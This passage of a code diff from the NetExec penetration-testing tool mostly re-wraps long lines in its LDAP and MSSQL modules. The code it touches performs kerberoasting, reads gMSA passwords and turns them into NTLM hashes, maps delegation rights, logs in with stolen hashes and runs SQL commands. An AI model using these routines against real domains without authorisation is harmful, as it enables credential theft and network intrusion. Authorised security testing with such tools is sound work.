self.logger.display(f"Total of records returned {len(enabled):d}") for user in enabled: # Perform Kerberos Attack - TGT = KerberosAttacks(self).get_tgt_kerberoasting(self.use_kcache) + TGT = KerberosAttacks( + self).get_tgt_kerberoasting(self.use_kcache) self.logger.debug(f"TGT: {TGT}") if TGT: downLevelLogonName = f"{self.targetDomain}\\{user['sAMAccountName']}" @@ -1147,21 +1296,27 @@ def kerberoasting(self): sessionKey, user["sAMAccountName"], downLevelLogonName, - is_computer="computer" in user.get("objectClass", []) + is_computer="computer" in user.get( + "objectClass", []) ) - pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) - lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str(datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) - self.logger.display(f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}") + pwdLastSet = "" if str(user.get("pwdLastSet", 0)) == "0" else str( + datetime.fromtimestamp(self.getUnixTime(int(user["pwdLastSet"])))) + lastLogon = "" if str(user.get("lastLogon", 0)) == "0" else str( + datetime.fromtimestamp(self.getUnixTime(int(user["lastLogon"])))) + self.logger.display( + f"sAMAccountName: {user['sAMAccountName']}, memberOf: {user.get('memberOf', [])}, pwdLastSet: {pwdLastSet}, lastLogon: {lastLogon}") self.logger.highlight(f"{out}") if self.args.kerberoasting: with open(self.args.kerberoasting, "a+") as hash_kerberoasting: hash_kerberoasting.write(out + "\n") except Exception as e: self.logger.debug(f"Exception: {e}", exc_info=True) - self.logger.fail(f"Principal: {downLevelLogonName} - {e}") + self.logger.fail( + f"Principal: {downLevelLogonName} - {e}") else: - self.logger.fail(f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") + self.logger.fail( + f"Error retrieving TGT for {self.domain}\\{self.username} from {self.kdcHost}") def query(self): """ @@ -1176,7 +1331,8 @@ def query(self): if not search_filter: self.logger.fail("No filter specified") return - self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}") + self.logger.debug( + f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}") try: resp = self.search(search_filter, attributes, 0) resp_parsed = parse_result_attributes(resp) @@ -1186,15 +1342,18 @@ def query(self): for idx, entry in enumerate(resp_parsed): if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry): idx += 1 # Skip non-entry responses - self.logger.success(f"Response for object: {resp[idx]['objectName']}") + self.logger.success( + f"Response for object: {resp[idx]['objectName']}") for attribute in entry: if isinstance(entry[attribute], list) and entry[attribute]: # Display first item in the same line as attribute - self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}") + self.logger.highlight( + f"{attribute:<20} {entry[attribute].pop(0)}") for item in entry[attribute]: self.logger.highlight(f"{'':<20} {item}") else: - self.logger.highlight(f"{attribute:<20} {entry[attribute]}") + self.logger.highlight( + f"{attribute:<20} {entry[attribute]}") def find_delegation(self): def printTable(items, header): @@ -1202,15 +1361,18 @@ def printTable(items, header): # Calculating maximum lenght before parsing CN. for i, col in enumerate(header): - rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items) + rowMaxLen = max(len(row[1].split(",")[0].split( + "CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items) colLen.append(max(rowMaxLen, len(col))) # Create the format string for each row - outputFormat = " ".join([f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) + outputFormat = " ".join( + [f"{{{num}:{width}s}}" for num, width in enumerate(colLen)]) # Print header self.logger.highlight(outputFormat.format(*header)) - self.logger.highlight(" ".join(["-" * itemLen for itemLen in colLen])) + self.logger.highlight( + " ".join(["-" * itemLen for itemLen in colLen])) # Print rows for row in items: @@ -1219,7 +1381,8 @@ def printTable(items, header): row[1] = row[1].split(",")[0].split("CN=")[-1] # Added join for DelegationRightsTo - row[3] = ", ".join(str(x) for x in row[3]) if isinstance(row[3], list) else row[3] + row[3] = ", ".join(str(x) for x in row[3]) if isinstance( + row[3], list) else row[3] self.logger.highlight(outputFormat.format(*row)) @@ -1230,7 +1393,8 @@ def printTable(items, header): f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))") # f"(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_SERVER_TRUST_ACCOUNT})))") This would filter out RBCD to DCs - attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] + attributes = ["sAMAccountName", "pwdLastSet", "userAccountControl", "objectCategory", + "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDelegateTo"] resp = self.search(search_filter, attributes) answers = [] @@ -1266,40 +1430,49 @@ def printTable(items, header): # Not an elif as an object could both have RBCD and another type of delegation if item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") is not None: - databyte = item.get("msDS-AllowedToActOnBehalfOfOtherIdentity") + databyte = item.get( + "msDS-AllowedToActOnBehalfOfOtherIdentity") rbcdRights = [] rbcdObjType = [] sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(databyte)) if len(sd["Dacl"].aces) > 0: search_filter = "(&(|" for ace in sd["Dacl"].aces: - search_filter += "(objectSid=" + ace["Ace"]["Sid"].formatCanonical() + ")" + search_filter += "(objectSid=" + \ + ace["Ace"]["Sid"].formatCanonical() + ")" search_filter += f")(!(UserAccountControl:1.2.840.113556.1.4.803:={UF_ACCOUNTDISABLE})))" - delegUserResp = self.search(search_filter, attributes=["sAMAccountName", "objectCategory"]) - delegUserResp_parse = parse_result_attributes(delegUserResp) + delegUserResp = self.search(search_filter, attributes=[ + "sAMAccountName", "objectCategory"]) + delegUserResp_parse = parse_result_attributes( + delegUserResp) for rbcd in delegUserResp_parse: rbcdRights.append(str(rbcd.get("sAMAccountName"))) rbcdObjType.append(str(rbcd.get("objectCategory"))) for rights, objType in zip(rbcdRights, rbcdObjType, strict=True): - answers.append([rights, objType, "Resource-Based Constrained", sAMAccountName]) + answers.append( + [rights, objType, "Resource-Based Constrained", sAMAccountName]) if delegation in ["Unconstrained", "Constrained", "Constrained w/ Protocol Transition"]: - answers.append([sAMAccountName, objectType, delegation, rightsTo]) + answers.append( + [sAMAccountName, objectType, delegation, rightsTo]) except Exception as e: - self.logger.error(f"Skipping item, cannot process due to error {e}") + self.logger.error( + f"Skipping item, cannot process due to error {e}") if answers: - printTable(answers, header=["AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) + printTable(answers, header=[ + "AccountName", "AccountType", "DelegationType", "DelegationRightsTo"]) else: self.logger.fail("No entries found!") def trusted_for_delegation(self): # Building the search filter searchFilter = f"(userAccountControl:1.2.840.113556.1.4.803:={UF_TRUSTED_FOR_DELEGATION})" - resp = self.search(searchFilter, attributes=["sAMAccountName"], sizeLimit=0) + resp = self.search(searchFilter, attributes=[ + "sAMAccountName"], sizeLimit=0) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed):d}") @@ -1322,14 +1495,17 @@ def password_not_required(self): if resp_parsed: for user in resp_parsed: - status = "disabled" if int(user["userAccountControl"]) & 2 else "enabled" - self.logger.highlight(f"User: {user['sAMAccountName']} Status: {status}") + status = "disabled" if int( + user["userAccountControl"]) & 2 else "enabled" + self.logger.highlight( + f"User: {user['sAMAccountName']} Status: {status}") else: self.logger.fail("No entries found!") def admin_count(self): # Building the search filter - resp = self.search(searchFilter="(&(adminCount=1)(objectClass=user))", attributes=["sAMAccountName"], sizeLimit=0) + resp = self.search(searchFilter="(&(adminCount=1)(objectClass=user))", attributes=[ + "sAMAccountName"], sizeLimit=0) resp_parsed = parse_result_attributes(resp) self.logger.debug(f"Total of records returned {len(resp_parsed):d}") @@ -1352,19 +1528,23 @@ def gmsa(self): ) gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) if gmsa_accounts_parsed: - self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}") + self.logger.debug( + f"Total of records returned {len(gmsa_accounts_parsed):d}") for acc in gmsa_accounts_parsed: # PrincipalAllowedToRetrieveGMSAPassword principal_with_read = [] if "msDS-GroupMSAMembership" in acc: msDS_GroupMSAMembership = acc["msDS-GroupMSAMembership"] - dacl = ldaptypes.SR_SECURITY_DESCRIPTOR(data=bytes(msDS_GroupMSAMembership)) + dacl = ldaptypes.SR_SECURITY_DESCRIPTOR( + data=bytes(msDS_GroupMSAMembership)) # Get all SIDs that have the right to read the password - sids = [ace["Ace"]["Sid"].formatCanonical() for ace in dacl["Dacl"]["Data"] if ace["AceType"] == 0x00] + sids = [ace["Ace"]["Sid"].formatCanonical() + for ace in dacl["Dacl"]["Data"] if ace["AceType"] == 0x00] self.logger.debug(f"msDS-GroupMSAMembership: {sids}") - search_filter = "(|" + "".join([f"(objectSid={sid})" for sid in sids]) + ")" + search_filter = "(|" + \ + "".join([f"(objectSid={sid})" for sid in sids]) + ")" resp = self.ldap_connection.search( searchBase=self.baseDN, searchFilter=search_filter, @@ -1373,7 +1553,8 @@ def gmsa(self): ) resp_parsed = parse_result_attributes(resp) if len(resp_parsed) > 1: - principal_with_read = [f"{item['sAMAccountName']}" for item in resp_parsed] + principal_with_read = [ + f"{item['sAMAccountName']}" for item in resp_parsed] elif len(resp_parsed) == 1: principal_with_read = resp_parsed[0]["sAMAccountName"] @@ -1386,7 +1567,8 @@ def gmsa(self): ntlm_hash = MD4.new() ntlm_hash.update(currentPassword) passwd = hexlify(ntlm_hash.digest()).decode("utf-8") - self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} NTLM: {passwd:<36} PrincipalsAllowedToReadPassword: {principal_with_read}") + self.logger.highlight( + f"Account: {acc['sAMAccountName']:<20} NTLM: {passwd:<36} PrincipalsAllowedToReadPassword: {principal_with_read}") return True def decipher_gmsa_name(self, domain_name=None, account_name=None): @@ -1394,7 +1576,8 @@ def decipher_gmsa_name(self, domain_name=None, account_name=None): gmsa_account_name = (domain_name + account_name).upper() self.logger.debug(f"GMSA name for {gmsa_account_name}") bin_account_name = gmsa_account_name.encode("utf-16le") - bin_hash = hmac.new(bytes("", "latin-1"), msg=bin_account_name, digestmod=hashlib.sha256).digest() + bin_hash = hmac.new( + bytes("", "latin-1"), msg=bin_account_name, digestmod=hashlib.sha256).digest() hex_letters = "0123456789abcdef" str_hash = "" for b in bin_hash: @@ -1418,11 +1601,13 @@ def gmsa_convert_id(self): ) gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) if gmsa_accounts_parsed: - self.logger.debug(f"Total of records returned {len(gmsa_accounts_parsed):d}") + self.logger.debug( + f"Total of records returned {len(gmsa_accounts_parsed):d}") for acc in gmsa_accounts_parsed: if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == self.args.gmsa_convert_id: - self.logger.highlight(f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}") + self.logger.highlight( + f"Account: {acc['sAMAccountName']:<20} ID: {self.args.gmsa_convert_id}") break else: self.logger.fail("No string provided :'(") @@ -1430,7 +1615,8 @@ def gmsa_convert_id(self): def gmsa_decrypt_lsa(self): if self.args.gmsa_decrypt_lsa: if "_SC_GMSA_{84A78B8C" in self.args.gmsa_decrypt_lsa: - gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[4].split(":") + gmsa_id, gmsa_pass = self.args.gmsa_decrypt_lsa.split("_")[ + 4].split(":") # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldap_connection.search( @@ -1441,7 +1627,8 @@ def gmsa_decrypt_lsa(self): ) gmsa_accounts_parsed = parse_result_attributes(gmsa_accounts) if gmsa_accounts_parsed: - self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") + self.logger.debug( + f"Total of records returned {len(gmsa_accounts):d}") for acc in gmsa_accounts_parsed: if self.decipher_gmsa_name(self.domain.split(".")[0], acc["sAMAccountName"][:-1]) == gmsa_id: @@ -1473,21 +1660,25 @@ def pso_mins(ldap_time): # Are there even any FGPPs? self.logger.info("Attempting to enumerate policies...") - resp = self.search(searchFilter="(objectclass=*)", baseDN=f"CN=Password Settings Container,CN=System,{self.baseDN}", attributes=[]) + resp = self.search(searchFilter="(objectclass=*)", + baseDN=f"CN=Password Settings Container,CN=System,{self.baseDN}", attributes=[]) if len(resp) > 1: self.logger.highlight(f"{len(resp) - 1} PSO Objects found!") self.logger.highlight("") - self.logger.success("Attempting to enumerate objects with an applied policy...") + self.logger.success( + "Attempting to enumerate objects with an applied policy...") # Who do they apply to? - resp = self.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"]) + resp = self.search(searchFilter="(objectclass=*)", + attributes=["DistinguishedName", "msDS-PSOApplied"]) resp_parsed = parse_result_attributes(resp) for attrs in resp_parsed: if "msDS-PSOApplied" in attrs: # Get the distinguished name from the original response for objectName for orig_resp in resp: if isinstance(orig_resp, ldapasn1_impacket.SearchResultEntry): - self.logger.highlight(f"Object: {orig_resp['objectName']}") + self.logger.highlight( + f"Object: {orig_resp['objectName']}") break self.logger.highlight("Applied Policy: ") pso_applied = attrs["msDS-PSOApplied"] @@ -1513,7 +1704,8 @@ def pso_mins(ldap_time): complexity = attrs.get("msDS-PasswordComplexityEnabled", "") minPassAge = attrs.get("msDS-MinimumPasswordAge", "") maxPassAge = attrs.get("msDS-MaximumPasswordAge", "") - reverseibleEncryption = attrs.get("msDS-PasswordReversibleEncryptionEnabled", "") + reverseibleEncryption = attrs.get( + "msDS-PasswordReversibleEncryptionEnabled", "") precedence = attrs.get("msDS-PasswordSettingsPrecedence", "") policyApplies = attrs.get("msDS-PSOAppliesTo", "") @@ -1521,15 +1713,22 @@ def pso_mins(ldap_time): if description: self.logger.highlight(f"Description: {description}") self.logger.highlight(f"Minimum Password Length: {passwordLength}") - self.logger.highlight(f"Minimum Password History Length: {passwordhistorylength}") + self.logger.highlight( + f"Minimum Password History Length: {passwordhistorylength}") self.logger.highlight(f"Lockout Threshold: {lockoutThreshold}") - self.logger.highlight(f"Observation Window: {pso_mins(observationWindow)}") - self.logger.highlight(f"Lockout Duration: {pso_mins(lockoutDuration)}") + self.logger.highlight( + f"Observation Window: {pso_mins(observationWindow)}") + self.logger.highlight( + f"Lockout Duration: {pso_mins(lockoutDuration)}") self.logger.highlight(f"Complexity Enabled: {complexity}") - self.logger.highlight(f"Minimum Password Age: {pso_days(minPassAge)}") - self.logger.highlight(f"Maximum Password Age: {pso_days(maxPassAge)}") - self.logger.highlight(f"Reversible Encryption: {reverseibleEncryption}") - self.logger.highlight(f"Precedence: {precedence} (Lower is Higher Priority)") + self.logger.highlight( + f"Minimum Password Age: {pso_days(minPassAge)}") + self.logger.highlight( + f"Maximum Password Age: {pso_days(maxPassAge)}") + self.logger.highlight( + f"Reversible Encryption: {reverseibleEncryption}") + self.logger.highlight( + f"Precedence: {precedence} (Lower is Higher Priority)") self.logger.highlight("Policy Applies to:") if isinstance(policyApplies, list): for value in policyApplies: @@ -1579,21 +1778,27 @@ def ldap_to_filetime(ldap_time): min_pass_len = policy.get("minPwdLength", "None") pass_hist_len = policy.get("pwdHistoryLength", "None") - max_pwd_age_low, max_pwd_age_high = ldap_to_filetime(policy.get("maxPwdAge", "0")) + max_pwd_age_low, max_pwd_age_high = ldap_to_filetime( + policy.get("maxPwdAge", "0")) max_pass_age = convert(max_pwd_age_low, max_pwd_age_high) - min_pwd_age_low, min_pwd_age_high = ldap_to_filetime(policy.get("minPwdAge", "0")) + min_pwd_age_low, min_pwd_age_high = ldap_to_filetime( + policy.get("minPwdAge", "0")) min_pass_age = convert(min_pwd_age_low, min_pwd_age_high) accnt_lock_thres = policy.get("lockoutThreshold", "None") lockout_duration_val = policy.get("lockoutDuration", "0") - lock_accnt_dur = convert(0, int(lockout_duration_val) if lockout_duration_val != "0" else 0, lockout=True) + lock_accnt_dur = convert(0, int( + lockout_duration_val) if lockout_duration_val != "0" else 0, lockout=True) lockout_obs_val = policy.get("lockOutObservationWindow", "0") - rst_accnt_lock_counter = convert(0, int(lockout_obs_val) if lockout_obs_val != "0" else 0, lockout=True) - force_logoff_low, force_logoff_high = ldap_to_filetime(policy.get("forceLogoff", "0")) + rst_accnt_lock_counter = convert( + 0, int(lockout_obs_val) if lockout_obs_val != "0" else 0, lockout=True) + force_logoff_low, force_logoff_high = ldap_to_filetime( + policy.get("forceLogoff", "0")) force_logoff_time = convert(force_logoff_low, force_logoff_high) # Convert password properties using existing d2b function pwd_properties = policy.get("pwdProperties", "0") - pass_prop = d2b(int(pwd_properties)) if pwd_properties != "0" else "000000" + pass_prop = d2b(int(pwd_properties) + ) if pwd_properties != "0" else "000000" # Use the same formatting and constants as SMB passpol PASSCOMPLEX = { @@ -1606,35 +1811,42 @@ def ldap_to_filetime(ldap_time): } # Pretty print using same format as SMB - self.logger.success(f"Dumping password info for domain: {self.domain}") + self.logger.success( + f"Dumping password info for domain: {self.domain}") self.logger.highlight(f"Minimum password length: {min_pass_len}") self.logger.highlight(f"Password history length: {pass_hist_len}") self.logger.highlight(f"Maximum password age: {max_pass_age}") self.logger.highlight("") - self.logger.highlight(f"Password Complexity Flags: {pass_prop or 'None'}") + self.logger.highlight( + f"Password Complexity Flags: {pass_prop or 'None'}") for i, a in enumerate(pass_prop): self.logger.highlight(f"\t{PASSCOMPLEX[i]} {a!s}") self.logger.highlight("") self.logger.highlight(f"Minimum password age: {min_pass_age}") - self.logger.highlight(f"Reset Account Lockout Counter: {rst_accnt_lock_counter}") + self.logger.highlight( + f"Reset Account Lockout Counter: {rst_accnt_lock_counter}") self.logger.highlight(f"Locked Account Duration: {lock_accnt_dur}") - self.logger.highlight(f"Account Lockout Threshold: {accnt_lock_thres}") + self.logger.highlight( + f"Account Lockout Threshold: {accnt_lock_thres}") self.logger.highlight(f"Forced Log off Time: {force_logoff_time}") break # Only process first policy result def bloodhound(self): # Check which version is desired - use_bhce = self.config.getboolean("BloodHound-CE", "bhce_enabled", fallback=False) + use_bhce = self.config.getboolean( + "BloodHound-CE", "bhce_enabled", fallback=False) package_name, version, is_ce = get_bloodhound_info() if use_bhce and not is_ce: self.logger.fail("⚠️ Configuration Issue Detected ⚠️") - self.logger.fail(f"Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your {CONFIG_PATH} config file or follow the instructions:") + self.logger.fail( + f"Your configuration has BloodHound-CE enabled, but the regular BloodHound package is installed. Modify your {CONFIG_PATH} config file or follow the instructions:") self.logger.fail("Please run the following commands to fix this:") - self.logger.fail("poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") + self.logger.fail( + "poetry remove bloodhound-ce # poetry falsely recognizes bloodhound-ce as a the old bloodhound package") self.logger.fail("poetry add bloodhound-ce") self.logger.fail("") @@ -1646,7 +1858,8 @@ def bloodhound(self): elif not use_bhce and is_ce: self.logger.fail("⚠️ Configuration Issue Detected ⚠️") - self.logger.fail("Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") + self.logger.fail( + "Your configuration has regular BloodHound enabled, but the BloodHound-CE package is installed.") self.logger.fail("Please run the following commands to fix this:") self.logger.fail("poetry remove bloodhound-ce") self.logger.fail("poetry add bloodhound") @@ -1675,20 +1888,24 @@ def bloodhound(self): dns_tcp=self.args.dns_tcp, dns_timeout=self.args.dns_timeout, ) - collect = resolve_collection_methods("Default" if not self.args.collection else self.args.collection) + collect = resolve_collection_methods( + "Default" if not self.args.collection else self.args.collection) if not collect: return - self.logger.highlight("Resolved collection methods: " + ", ".join(list(collect))) + self.logger.highlight( + "Resolved collection methods: " + ", ".join(list(collect))) self.logger.debug("Using DNS to retrieve domain information") try: ad.dns_resolve(domain=self.domain) except (resolver.LifetimeTimeout, resolver.NoNameservers): - self.logger.fail("Bloodhound-python failed to resolve domain information, try specifying the DNS server.") + self.logger.fail( + "Bloodhound-python failed to resolve domain information, try specifying the DNS server.") return if self.args.kerberos: - self.logger.highlight("Using kerberos auth without ccache, getting TGT") + self.logger.highlight( + "Using kerberos auth without ccache, getting TGT") auth.get_tgt() if self.args.use_kcache: self.logger.highlight("Using kerberos auth from ccache") @@ -1710,11 +1927,14 @@ def bloodhound(self): exclude_dcs=False, ) except Exception as e: - self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}") - self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True) + self.logger.fail( + f"BloodHound collection failed: {e.__class__.__name__} - {e}") + self.logger.debug( + f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True) return - self.logger.highlight(f"Compressing output into {self.output_filename}_bloodhound.zip") + self.logger.highlight( + f"Compressing output into {self.output_filename}_bloodhound.zip") list_of_files = os.listdir(os.getcwd()) with ZipFile(f"{self.output_filename}_bloodhound.zip", "w") as z: for each_file in list_of_files: diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 895f6c6689..4a6b417bf3 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -53,6 +53,7 @@ def proto_logger(self): "host": self.host, "port": self.port, "hostname": "None", + "server_os": self.server_os, } ) @@ -61,7 +62,8 @@ def create_conn_obj(self): self.conn = tds.MSSQL(self.host, self.port, self.remoteName) self.conn.connect(self.args.mssql_timeout) except Exception as e: - self.logger.debug(f"Error connecting to MSSQL service on host: {self.host}, reason: {e}") + self.logger.debug( + f"Error connecting to MSSQL service on host: {self.host}, reason: {e}") with contextlib.suppress(Exception): self.conn.disconnect() return False @@ -80,7 +82,8 @@ def wrapper(self, *args, **kwargs): def check_if_admin(self): self.admin_privs = False try: - results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')") + results = self.conn.sql_query( + "SELECT IS_SRVROLEMEMBER('sysadmin')") is_admin = int(results[0][""]) except Exception as e: self.logger.fail(f"Error querying for sysadmin role: {e}") @@ -130,7 +133,8 @@ def enum_host_info(self): challenge = tdsx["Data"][3:] self.logger.debug(f"NTLM challenge: {challenge!s}") except Exception as e: - self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}") + self.logger.info( + f"Failed to receive NTLM challenge, reason: {e!s}") return False else: ntlm_info = parse_challenge(challenge) @@ -138,7 +142,9 @@ def enum_host_info(self): self.hostname = ntlm_info["hostname"] self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname - self.db.add_host(self.host, self.hostname, self.targetDomain, self.server_os, len(self.mssql_instances),) + self.logger.extra["server_os"] = self.server_os + self.db.add_host(self.host, self.hostname, self.targetDomain, + self.server_os, len(self.mssql_instances),) if self.args.domain: self.domain = self.args.domain @@ -150,11 +156,14 @@ def enum_host_info(self): if not self.kdcHost and self.domain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None - self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") + self.logger.info( + f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") def print_host_info(self): - encryption = colored(f"EncryptionReq:{self.encryption}", host_info_colors[0 if self.encryption else 1], attrs=["bold"]) - self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption})") + encryption = colored( + f"EncryptionReq:{self.encryption}", host_info_colors[0 if self.encryption else 1], attrs=["bold"]) + self.logger.display( + f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption})") @reconnect_mssql def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): @@ -171,11 +180,13 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.nthash = ntlm_hash hashes = f":{self.nthash}" - kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else "" + kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all( + s == "" for s in [self.nthash, password, aesKey]) else "" if useCache and kerb_pass == "": ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) - username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0] + username = ccache.credentials[0].header["client"].prettyPrint( + ).decode().split("@")[0] self.username = username used_ccache = " from ccache" if useCache else f"{process_secret(kerb_pass)}" @@ -193,18 +204,22 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if res is not True: raise self.check_if_admin() - self.logger.success(f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}") + self.logger.success( + f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}") if not self.args.local_auth and self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) if self.admin_privs: - add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config) + add_user_bh(f"{self.hostname}$", self.domain, + self.logger, self.config) return True except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") return False except Exception: error_msg = self.handle_mssql_reply() - self.logger.fail(f"{self.domain}\\{self.username}:{used_ccache} {error_msg if error_msg else ''}") + self.logger.fail( + f"{self.domain}\\{self.username}:{used_ccache} {error_msg if error_msg else ''}") return False @reconnect_mssql @@ -214,28 +229,36 @@ def plaintext_login(self, domain, username, password): self.domain = domain try: - res = self.conn.login(None, self.username, self.password, self.domain, None, not self.args.local_auth) + res = self.conn.login( + None, self.username, self.password, self.domain, None, not self.args.local_auth) if res is not True: raise self.check_if_admin() - self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") - self.db.add_credential("plaintext", self.domain, self.username, self.password) - user_id = self.db.get_credential("plaintext", domain, self.username, self.password) + self.logger.success( + f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") + self.db.add_credential( + "plaintext", self.domain, self.username, self.password) + user_id = self.db.get_credential( + "plaintext", domain, self.username, self.password) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if not self.args.local_auth and self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) if self.admin_privs: - self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id) - add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config) + self.db.add_admin_user( + "plaintext", domain, self.username, self.password, self.host, user_id=user_id) + add_user_bh(f"{self.hostname}$", self.domain, + self.logger, self.config) return True except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") return False except Exception: error_msg = self.handle_mssql_reply() - self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {error_msg if error_msg else ''}") + self.logger.fail( + f"{self.domain}\\{self.username}:{process_secret(self.password)} {error_msg if error_msg else ''}") return False @reconnect_mssql @@ -251,41 +274,51 @@ def hash_login(self, domain, username, ntlm_hash): self.nthash = ntlm_hash try: - res = self.conn.login(None, self.username, "", self.domain, f"{self.lmhash}:{self.nthash}", not self.args.local_auth) + res = self.conn.login(None, self.username, "", self.domain, + f"{self.lmhash}:{self.nthash}", not self.args.local_auth) if res is not True: raise self.check_if_admin() - self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}") - self.db.add_credential("hash", self.domain, self.username, self.nthash) - user_id = self.db.get_credential("hash", domain, self.username, self.nthash) + self.logger.success( + f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}") + self.db.add_credential("hash", self.domain, + self.username, self.nthash) + user_id = self.db.get_credential( + "hash", domain, self.username, self.nthash) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if not self.args.local_auth and self.username != "": - add_user_bh(self.username, self.domain, self.logger, self.config) + add_user_bh(self.username, self.domain, + self.logger, self.config) if self.admin_privs: - self.db.add_admin_user("hash", domain, self.username, self.nthash, self.host, user_id=user_id) - add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config) + self.db.add_admin_user( + "hash", domain, self.username, self.nthash, self.host, user_id=user_id) + add_user_bh(f"{self.hostname}$", self.domain, + self.logger, self.config) return True except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") return False except Exception: error_msg = self.handle_mssql_reply() - self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {error_msg if error_msg else ''}") + self.logger.fail( + f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {error_msg if error_msg else ''}") return False def query(self): if self.conn.lastError: # Invalid connection - self.logger.debug(f"Cannot execute query due to invalid connection: {self.conn.lastError}") + self.logger.debug( + f"Cannot execute query due to invalid connection: {self.conn.lastError}") return None self.logger.info(f"Query to run: {self.args.query}") try: raw_output = self.conn.sql_query(self.args.query) self.logger.debug(f"Raw output: {raw_output}") if self.conn.lastError: - self.logger.debug(f"Error during query execution: {self.conn.lastError}") + self.logger.debug( + f"Error during query execution: {self.conn.lastError}") self.logger.fail(self.conn.lastError) else: for data in raw_output: @@ -295,7 +328,8 @@ def query(self): else: self.logger.highlight(f"{value}") except Exception as e: - self.logger.exception(f"Failed to excuted MSSQL query, reason: {e}") + self.logger.exception( + f"Failed to excuted MSSQL query, reason: {e}") return None return raw_output @@ -319,7 +353,8 @@ def execute(self, payload=None, get_output=False): return False else: if self.conn.lastError: - self.logger.fail(f"Error during command execution: {self.conn.lastError}") + self.logger.fail( + f"Error during command execution: {self.conn.lastError}") else: self.logger.success("Executed command via mssqlexec") for line in output.splitlines(): @@ -339,23 +374,27 @@ def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=Fa force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32 get_output = True if not self.args.no_output else get_output - 